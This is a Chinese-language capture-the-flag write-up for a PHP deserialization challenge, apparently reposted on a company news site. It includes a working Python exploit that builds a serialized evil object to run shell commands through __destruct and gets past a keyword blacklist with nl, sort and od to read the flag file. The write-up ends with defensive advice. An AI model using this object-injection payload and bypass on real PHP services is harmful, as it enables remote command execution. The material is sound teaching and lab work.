首页/新闻资讯/正文详情

CTF题目《Unserialize?》(BUUCTF Web 困难 反序列化)

发布时间:2026/9/24 12:07:43 来源:云帆数科 栏目:资讯中心
CTF题目《Unserialize?》(BUUCTF Web 困难 反序列化)
CTF 解题报告WPPHP 反序列化命令执行题目环境http://50a2fdd04ffb018ce9f18a6f.http-ctf2.dasctf.com/题目类型Web / PHP 反序列化PHP Object Injection最终 FlagCTF2{402484f7-9c94-414b-9690-5b5c89c8dfd2}0. 先看懂这篇 WP 讲了什么这道题的核心只有一句话程序会把我们发过去的一串数据还原成 PHP 对象而这个对象在被销毁时会自动执行我们塞进去的系统命令。只要理解了这句话整道题就通了。下面从零开始一步一步讲清楚每一步在做什么、为什么要这么做。1. 打开题目看到源码访问题目地址后页面直接显示了 PHP 源码highlight_file(__FILE__)的作用就是把当前文件内容打印出来?phphighlight_file(__FILE__);// Maybe you need learn some knowledge about deserialize?classevil{private$cmd;publicfunction__destruct(){if(!preg_match(/cat|tac|more|tail|base/i,$this-cmd)){system($this-cmd);}}}unserialize($_POST[unser]);?源码逐行翻译给小白代码白话解释class evil { ... }定义了一个类名字叫evil邪恶里面有一个属性$cmd命令。private $cmd;$cmd是私有属性只有类内部能访问。这一点后面构造 payload 时非常关键。public function __destruct()魔术方法。当这个对象被销毁/回收时PHP 会自动调用它。if(!preg_match(/cat|tac|more|tail|base/i, $this-cmd))检查$cmd里是否含有cat、tac、more、tail、base这些词i表示忽略大小写。如果没有这些词条件成立。system($this-cmd);执行系统命令只是忽略报错显示。unserialize($_POST[unser]);关键把我们通过 POST 提交的unser参数还原成 PHP 对象。一句话总结漏洞成因用户可以通过 POST 提交任意序列化字符串 → 被unserialize()还原成对象 → 如果还原出的对象是evil类 → 脚本结束时该对象被销毁 → 触发__destruct()→ 执行system($cmd)→任意命令执行RCE。2. 需要补的基础知识小白必看2.1 什么是序列化和反序列化序列化serialize把内存里的对象/数组变成一串字符串方便存储或网络传输。反序列化unserialize把上面那串字符串还原回内存里的对象/数组。打个比方序列化 把乐高模型拆成零件装进盒子字符串。反序列化 按盒子里的清单把零件重新拼回模型。2.2 序列化字符串长什么样一个 PHP 序列化字符串由类型标识 内容组成写法含义s:5:hello;字符串string长度 5内容是helloi:123;整数integer123a:2:{...}数组array有 2 个元素O:4:evil:1:{...}对象Object类名长度 4evil有 1 个属性重点看对象格式O:类名长度:类名:属性个数:{属性列表}2.3 什么是魔术方法PHP 里有一些名字特殊的方法都以__开头会在特定时机自动被调用__construct()创建对象时自动调用。__destruct()对象被销毁时自动调用。 ←本题利用点__wakeup()反序列化时自动调用。因为__destruct()会在对象销毁时自动跑所以只要我们能造出一个evil对象并让它的$cmd是我们想要的命令脚本一结束它就会帮我们执行命令。2.4 为什么私有属性要写成\x00evil\x00cmd这是本题最容易踩坑的地方务必理解PHP 为了区分公有(public)、受保护(protected)、私有(private)属性在序列化时会给属性名加前缀属性类型序列化后的属性名格式举例public属性名cmdprotected\x00*\x00属性名\x00*\x00cmdprivate\x00类名\x00属性名\x00evil\x00cmd\x00是空字节NULLASCII 码 0看不见但真实存在。本题$cmd是private类名是evil所以属性名必须是\x00evil\x00cmd。这个字符串长度是91 个空字节 evil4 个字符 1 个空字节 cmd3 个字符 9。所以写成s:9:\x00evil\x00cmd。⚠️ 如果你写成 public 的cmdPHP 还原时可能识别不出该属性导致$cmd为空命令执行不出来。3. 开始解题第 1 步确定 flag 文件在哪里既然能执行任意命令第一步当然是看看服务器上有什么文件。构造 payload让$cmd ls -la /列出根目录。payload命令为ls -la /O:4:evil:1:{s:9:空字节evil空字节cmd;s:8:ls -la /;}把空字节换成真实的\x00十六进制 0x00。注意s:8:ls -la /里的 8 是命令字符串长度ls -la /正好 8 个字符空格也算。用 Python 发送请求最方便因为 payload 含空字节手敲浏览器不方便importrequests urlhttp://50a2fdd04ffb018ce9f18a6f.http-ctf2.dasctf.com/defmake(cmd):# \x00evil\x00cmd 是私有属性的完整名字长度 9returnO:4:evil:1:{s:9:\x00evil\x00cmd;s:%d:%s;}%(len(cmd),cmd)rrequests.post(url,data{unser:make(ls -la /)},timeout15)print(r.text)返回结果根目录列表total 84 drwxr-xr-x 1 root root 4096 Sep 23 08:45 . ... -rwxr-xr-x 1 root root 129 Aug 20 2023 start.sh -rw-r--r-- 1 root root 43 Sep 23 08:45 th1s_1s_fffflllll4444aaaggggg ← 可疑 drwxrwxrwt 1 root root 4096 Sep 23 08:45 tmp ...根目录下有个名字很嚣张的文件th1s_1s_fffflllll4444aaaggggg。这种故意起怪名字的文件通常就是藏 flag 的地方this is flag的变形。为什么先 ls 而不是直接读因为我们不知道 flag 文件叫什么、在哪里。先用ls侦察文件系统是 CTF 的标准第一步。第 2 步绕过黑名单读取 flag源码里的黑名单是cat、tac、more、tail、base。意思是命令里不能出现这些子串否则preg_match返回真system就不会执行。出题人禁掉的全是查看文件内容的常规命令cat 及各种变体。所以我们换一个不在黑名单里的等效命令来读文件。可用的替代命令都能打印文件内容命令作用是否在黑名单nl 文件带行号输出文件内容✅ 安全sort 文件排序输出单行文件照样打印✅ 安全od -c 文件以字符形式 dump 文件✅ 安全head 文件打印文件开头✅ 安全grep . 文件打印所有匹配行✅ 安全用nl读取 flagrrequests.post(url,data{unser:make(nl /th1s_1s_fffflllll4444aaaggggg)},timeout15)print(r.text)返回结果1 CTF2{402484f7-9c94-414b-9690-5b5c89c8dfd2}拿到 Flag4. 交叉验证确保不是错觉为稳妥起见用另外两个不在黑名单的命令再读一遍结果应完全一致forcmdin[sort /th1s_1s_fffflllll4444aaaggggg,od -c /th1s_1s_fffflllll4444aaaggggg]:rrequests.post(url,data{unser:make(cmd)},timeout15)print(r.text)结果CTF2{402484f7-9c94-414b-9690-5b5c89c8dfd2} ← sort 0000000 C T F 2 { 4 0 2 4 8 4 f 7 - 9 c 0000020 9 4 - 4 1 4 b - 9 6 9 0 - 5 b 5 0000040 c 8 9 c 8 d f d 2 } 0000053 ← od -c三种方式结果一致Flag 确认无误CTF2{402484f7-9c94-414b-9690-5b5c89c8dfd2}5. 完整利用代码可直接运行importrequests urlhttp://50a2fdd04ffb018ce9f18a6f.http-ctf2.dasctf.com/defmake(cmd): 构造 evil 对象的序列化字符串 - O:4:evil - 类名 evil4 个字符 - :1: - 1 个属性 - s:9:\x00evil\x00cmd - 私有属性 $cmd 的完整名字长度 9 - s:len:cmd - 要执行的命令 returnO:4:evil:1:{s:9:\x00evil\x00cmd;s:%d:%s;}%(len(cmd),cmd)# 第 1 步侦察根目录print(requests.post(url,data{unser:make(ls -la /)},timeout15).text)# 第 2 步读取 flag用 nl 绕过 cat/tac/more/tail/base 黑名单print(requests.post(url,data{unser:make(nl /th1s_1s_fffflllll4444aaaggggg)},timeout15).text)也可以用curl命令行发送。因为 payload 含空字节建议先把 payload 存到文件再用--data-urlencode或-d file发送用 Python 脚本是更省心的做法。6. 知识点复盘为什么这么解步骤做了什么为什么 / 原理1看源码发现unserialize($_POST[unser])__destruct里有system()→ 反序列化命令执行漏洞2构造evil对象只有evil类有能执行命令的__destruct3私有属性写成\x00evil\x00cmdPHP 私有属性序列化格式要求写错就读不到属性值4先ls -la /侦察文件系统定位 flag 文件路径5用nl代替cat绕过 cat6多命令交叉验证确认 flag 读取无误避免误判7. 关于防御出题人角度的反思如果这是真实业务怎么防永远不要反序列化用户可控的数据unserialize($_POST[...])是典型的危险写法。需要传数据用JSONjson_decode不要用 PHP 序列化。如果一定要执行系统命令使用白名单而不是黑名单过滤关键字——黑名单永远能被绕过本题就是例子。生产环境禁用system、exec、shell_exec等函数。8. 术语速查表术语含义RCERemote Code Execution远程代码/命令执行反序列化漏洞程序把不可信字符串还原成对象时带来的安全问题魔术方法PHP 中以__开头、在特定时机自动调用的方法__destruct对象销毁时自动调用\x00空字节NULL常出现在私有/受保护属性的序列化名里黑名单绕过用等效但不在黑名单里的命令/写法达到同样目的FlagCTF2{402484f7-9c94-414b-9690-5b5c89c8dfd2}

相关推荐

轻触开关选型与验证:汽车电子与端侧AI硬件的可靠之选
轻触开关选型与验证:汽车电子与端侧AI硬件的可靠之选

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 12:07:43

PHPStan `notIdentical.alwaysTrue` 错误详解:`!==` 恒为 true 的类型分析逻辑与修复方案
PHPStan `notIdentical.alwaysTrue` 错误详解:`!==` 恒为 true 的类型分析逻辑与修复方案

开发工具代码质量静态分析 【免费下载链接】phpstan PHP Static Analysis Tool - discover bugs in your code without running it! 项目地址: https://gitcode.com/gh_mirrors/ph/phpstan 点击查看 免费下载 本篇技术指南以 PHPStan 错误文档 notIdentical.always… · 2026/9/24 12:07:43

Play Framework 2.4 迁移指南:Anorm 独立化与新版本特性全解析
Play Framework 2.4 迁移指南:Anorm 独立化与新版本特性全解析

后端Web框架 【免费下载链接】playframework The Community Maintained High Velocity Web Framework For Java and Scala. 项目地址: https://gitcode.com/gh_mirrors/pl/playframework 点击查看 免费下载 本指南基于 Play Framework 2.4 迁移文档中关于 Anorm 的… · 2026/9/24 12:07:36

告别满屏switch:状态模式让订单状态流转更清晰
告别满屏switch:状态模式让订单状态流转更清晰

写代码这些年,我见过太多“满屏 switch”的业务类了。尤其是订单、审批、工单这类有明确状态流转的系统,核心类里经常是一排排的 switch-case,每加一个状态就要动一次老代码。刚开始写起来挺爽的,后面一改就炸。今天想和你认真聊聊… · 2026/9/24 23:15:16

改进粒子群算法在含碳捕集微网多时间尺度调度中的Matlab实现
改进粒子群算法在含碳捕集微网多时间尺度调度中的Matlab实现

做微电网调度的朋友,看到"改进粒子群算法"、"碳捕集"、"多时间尺度"这几个词凑在一起,应该知道这事不简单。这个方向最近在学术圈和工程圈都挺热门,核心诉求很直接:让微网运行既省钱又低碳&#xf… · 2026/9/24 23:15:16

单通道脑电睡眠分期实战:Python实现五分类自动分期
单通道脑电睡眠分期实战:Python实现五分类自动分期

简介:这是一套面向计算机相关专业学生与项目实战学习者的单通道脑电信号自动睡眠分期研究完整资料,源自经导师指导并通过评审的高分毕业设计,适合作为毕设参考、课程设计或期末大作业。资源包共22个文件,约10.85MB,以1… · 2026/9/24 23:15:16

状态模式实战:告别switch地狱,用状态机思维重构订单状态
状态模式实战:告别switch地狱,用状态机思维重构订单状态

别再写满屏的 switch 了:让你的对象自己“变身”——状态模式先问一个实在问题:你有多久没在代码里见过那种一眼望不到头的 switch 了?每次加一个新状态,就要小心翼翼地在每个 case 里补逻辑,生怕漏掉某个分支&#xf… · 2026/9/24 23:15:16

老旧设备Modbus转MQTT网关选型与配置实战指南
老旧设备Modbus转MQTT网关选型与配置实战指南

1. 老旧设备无通信接口的破局思路1.1 为什么老旧设备联网是个真问题工厂车间里跑了十几年的老设备,PLC、温控器、电表、变频器,很多只有RS-232或者RS-485串口,有的甚至连串口都没有,只有并口或者模拟量输出。这些设备本身工作状态… · 2026/9/24 23:15:16

Python单通道脑电睡眠分期实战:从信号处理到CNN模型
Python单通道脑电睡眠分期实战:从信号处理到CNN模型

简介:这份资源是面向计算机相关专业学生与项目实战学习者的单通道脑电信号自动睡眠分期研究完整方案,源自经导师指导并通过评审的高分毕业设计,适合作为毕设参考、课程设计或期末大作业。压缩包共22个文件,约10.85MB,以… · 2026/9/24 23:15:10

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程
基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为… · 2026/9/24 0:00:13

1D-CNN时间序列建模实战:从Conv1d原理到工业落地
1D-CNN时间序列建模实战:从Conv1d原理到工业落地

简介:面向时间序列数据建模的一维卷积神经网络完整实现,适合深度学习入门者及需要快速验证时序模型的研究者,能够从音频、文本、传感器或股价等序列中挖掘局部特征与时间依赖。压缩包体积很小,只有3KB,内含3个Python脚… · 2026/9/24 0:00:26

柔软的L:汉语语流中被忽视的舌肌张力控制
柔软的L:汉语语流中被忽视的舌肌张力控制

1. 这个“L”不是字母表里的L,而是舌尖上的L最近在几个方言群和语音教学社群里,反复看到有人发一句:“也说字母L:柔软的长舌”。初看以为是英语发音课笔记,点开才发现全是方言爱好者、播音系学生、语言康复师甚至戏曲演… · 2026/9/24 0:00:44

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码